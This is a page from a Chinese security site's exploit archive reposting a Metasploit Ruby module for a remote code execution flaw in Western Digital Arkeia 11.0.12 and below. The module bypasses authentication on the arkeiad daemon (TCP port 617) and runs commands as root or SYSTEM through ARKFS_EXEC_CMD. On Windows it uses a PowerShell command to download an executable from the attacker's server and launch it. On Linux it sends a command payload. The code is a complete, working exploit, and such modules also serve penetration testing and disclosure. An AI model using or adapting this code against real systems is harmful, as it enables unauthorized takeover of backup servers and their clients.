首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Western Digital Arkeia Remote Code Execution
来源:metasploit.com 作者:xistence 发布时间:2015-07-14  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Western Digital Arkeia Remote Code Execution',
      'Description' => %q{
        This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below.
        The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are
        insufficient checks on the authentication of all clients, this can be bypassed.
        Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or
        SYSTEM privileges.
        The daemon is installed on both the Arkeia server as well on all the backup clients. The module
        has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD.
      },
      'Author'       =>
        [
          'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
        ],
      'Privileged'  => true,
      'Stance'      => Msf::Exploit::Stance::Aggressive,
      'Payload'     =>
        {
          'DisableNops' => true
        },
      'Targets'     =>
        [
          [ 'Windows',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win',
            }
          ],
          [ 'Linux',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'Payload' =>
                {
                  'DisableNops' => true,
                  'Space'       => 60000,
                  'Compat'      => {
                    'PayloadType' => 'cmd cmd_bash',
                    'RequiredCmd' => 'perl python bash-tcp gawk openssl'
                  }
                }
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 10 2015'))

    register_options(
      [
        Opt::RPORT(617),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15])
      ], self.class)
  end

  def check
    connect

    req = "\x00\x41"
    req << "\x00" * 5
    req << "\x73"
    req << "\x00" * 12
    req << "\xc0\xa8\x02\x74"
    req << "\x00" * 56
    req << "\x74\x02\xa8\xc0"
    req << 'ARKADMIN'
    req << "\x00"
    req << 'root'
    req << "\x00"
    req << 'root'
    req << "\x00" * 3
    req << '4.3.0-1' # version?
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    req = "\x00\x73"
    req << "\x00" * 5
    req << "\x0c\x32"
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00"
    req << 'EN' # Language
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)

    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    unless data_length == 0
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # ARKADMIN_GET_CLIENT_INFO
    req = "\x00\x62\x00\x01"
    req << "\x00" * 3
    req << "\x26"
    req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information
    req << "\x00\x32\x38"
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]
    unless data_length == 0
      disconnect
      return Exploit::CheckCode::Unknown
    end

    req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38"
    req << "\x00" * 12

    sock.put(req)

    # 1st packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # 2nd packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # 3rd packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x65\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length && data.include?('You have successfully retrieved client information')
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # 4th packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x69\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    if data =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/
      version = $1
      vprint_status("#{rhost}:#{rport} - Arkeia version detected: #{version}")
      if Gem::Version.new(version) <= Gem::Version.new('11.0.12')
        return Exploit::CheckCode::Appears
      else
        return Exploit::CheckCode::Safe
      end
    else
      vprint_status("#{rhost}:#{rport} - Arkeia version not detected")
      return Exploit::CheckCode::Unknown
    end
  end

  def exploit
    if target.name =~ /Windows/

      @down_file = rand_text_alpha(8+rand(8))
      @pl = generate_payload_exe

      begin
        Timeout.timeout(datastore['HTTP_DELAY']) {super}
      rescue Timeout::Error
      end
    elsif target.name =~ /Linux/
      communicate(payload.encoded)
      return
    end
  end

  def primer
    @payload_url = get_uri

    # PowerShell web download. The char replacement is needed because using the "/" character twice (like http://)
    # is not possible on Windows agents.
    command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";"
    command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');"
    command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\""

    communicate(command)
  end

  def communicate(command)
    print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon")

    connect

    print_status("#{rhost}:#{rport} - Sending agent communication")

    req = "\x00\x41\x00\x00\x00\x00\x00\x70"
    req << "\x00" * 12
    req << "\xc0\xa8\x02\x8a"
    req << "\x00" * 56
    req << "\x8a\x02\xa8\xc0"
    req << 'ARKFS'
    req << "\x00"
    req << 'root'
    req << "\x00"
    req << 'root'
    req << "\x00" * 3
    req << '4.3.0-1' # Client version ?
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32"
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00"
    req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID?
    req << "\x00"
    req << 'EN' # English language?
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    unless data_length == 0
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
    end

    req = "\x00\x62\x00\x01\x00\x02\x00\x1b"
    req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges
    req << "\x00\x31"
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    unless data_length == 0
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
    end

    req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c"
    req << "\x00" * 11

    sock.put(req)

    command_length = '%02x' % command.length
    command_length = command_length.scan(/../).map { |x| x.hex.chr }.join

    req = "\x00\x64\x00\x04\x00\x04"
    req << [command.length].pack('n')
    req << command # Our command to be executed
    req << "\x00"

    print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD")

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    # 1st Packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    # 2st Packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end
  end

  def on_request_uri(cli, request)
    print_status("Request: #{request.uri}")
    if request.uri == get_resource
      print_status('Sending payload...')
      send_response(cli, @pl)
      register_files_for_cleanup("c:\\#{@down_file}.exe")
    end
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Western Digital Arkeia 11.0.13
·Adobe Flash opaqueBackground U
·NTPD MON_GETLIST Query Amplifi
·VNC Keyboard Remote Code Execu
·UPNPD M-SEARCH ssdp:discover R
·Accellion FTA getStatus verify
·File Roller 3.4.1 Denial Of Se
·Full Player 8.2.1 Memory Corru
·NTP MON_GETLIST Query Amplific
·Internet Download Manager - (.
·Symantec EP 12.1.4013 Denial O
·Internet Download Manager - (F
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved